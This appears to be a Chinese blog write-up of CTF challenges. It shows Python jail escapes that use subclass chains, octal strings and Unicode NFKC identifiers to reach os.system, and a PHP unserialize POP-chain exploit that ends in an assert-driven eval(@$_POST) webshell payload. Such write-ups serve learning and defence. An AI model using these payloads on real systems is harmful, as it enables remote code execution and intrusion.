TSCTF一些总结

TSCTF一些总结

baby_python

python3中支持 Non-ASCII Identifies,一些其他的unicode字符在执行的时候也 可以被解析成正常字符,比如全角字母,abcde……,这样可以绕过大小写字母的检查同时执行代码。

找到几个相关的题目,先看代码,py2的沙盒逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from __future__ import print_function
banned = [
"import",
"exec",
"eval",
"pickle",
"os",
"subprocess",
"kevin sucks",
"input",
"banned",
"cry sum more",
"sys"
]
targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
del __builtins__.__dict__[x]
while 1:
print(">>", end=' ')
data = raw_input()
for no in banned:
if no.lower() in data.lower():
print("No bueno")
break
else: # this means nobreak
exec data

这个题ban掉了一些函数,并且删除掉了bultins里面的函数,那我们就直接换一个常见的链即可 ,然后对于os 和system用简单的字符串拼接就可以。

构造payload即可

print(().__class__.__base__.__subclasses__()[60].__init__.__globals__['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls'))

在这里插入图片描述

第二道题

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python3

import string

print("Welcome to my pyjail! pls dont escape")

while True:
inp = input(">> ")
for n in "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz":
if n in inp:
print("no u")
exit()
exec(inp)

看到exec,应该就是绕过限制任意代码执行了。可以看到它过滤了所有的大小写英文字母。这道题看了wp才会。

尝试将__import__('os').system('ls')转换为八进制

137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51

在本地环境上可以执行成功,但是在题目上就执行不了

在这里插入图片描述

在这里插入图片描述

然后可以利用python中对于Unicode字符的支持来做

在这里插入图片描述

所有都会被转换成 unicode 的NFKC 也就是标准模式

在这里插入图片描述

__import__("os").system("dir")字符转成unicode,命令转为八进制

__𝑖𝑚𝑝𝑜𝑟𝑡__("\157\163").𝒔𝒚𝒔𝒕𝒆𝒎("\144\151\162"),即可执行成功

在这里插入图片描述

cmder编码没弄,没显示出来。。

easy_unserialize

分析

这个题目主要涉及到的点都是比较基础,翻看一下反序列化的知识点都应该能做出来: 观察代码,发现只有class C有__destruct函数,所以入口点反序列化的起点就是在这个类,其中 $this- >server->event[“test”] 这段代码是可控的,所以构造class A赋值给$this->server ,注意这里的class B是第一个坑,这个类并没啥用 进入到class A,调用 toRead ,需要构造一下event[“test”] 这个参数,php反序列化的时候没有对应的 参数,可以伪造一个,只限定非private属性的 进入到toRead函数 ,这是第二个坑,部分同学希望直接调用readfile函数读取flag,但是并不可行,应为最 后调用的fread函数是个资源类型的函数,并不能成功读取任何东西 真实的触发点在file_exists($this->file) ,这个函数除了可以触发phar协议的反序列化之外还可以触 发__toString函数,只有class D有__toString函数,所以此时就让class D赋值给$this->file 进入到class D之后明显有个__call 可以触发函数调用,继续跟进数据流,在doDisplay函数中有一个show 函数是没出现过的,所以,这里是触发__call函数的关键,所以让其调用自己本身,再去触发__call 然后到了最后一个利用点,此时发现构造函数的第二个参数是不可控的,PHP里可以用到一个函数,assert ,利用assert执行代码

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class A
{
private $file;
// private $length;
protected $isRead;
public $event;
public function __construct()
{
$this->file = new D();
$this->isRead = true;
$this->event = array("test" => array($this, "toRead"));
}
}
class C
{
protected $server;
public function __construct()
{
$this->server = new A();
}
}
class D
{
protected $param;
protected $curtain;
protected $content;
public function __construct()
{
$this->param = array("show"=>"assert");
$this->curtain = $this;
$this->content = 'eval(@$_POST[\'a\'])';
}
}
echo urlencode(base64_encode(serialize(new C())));

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!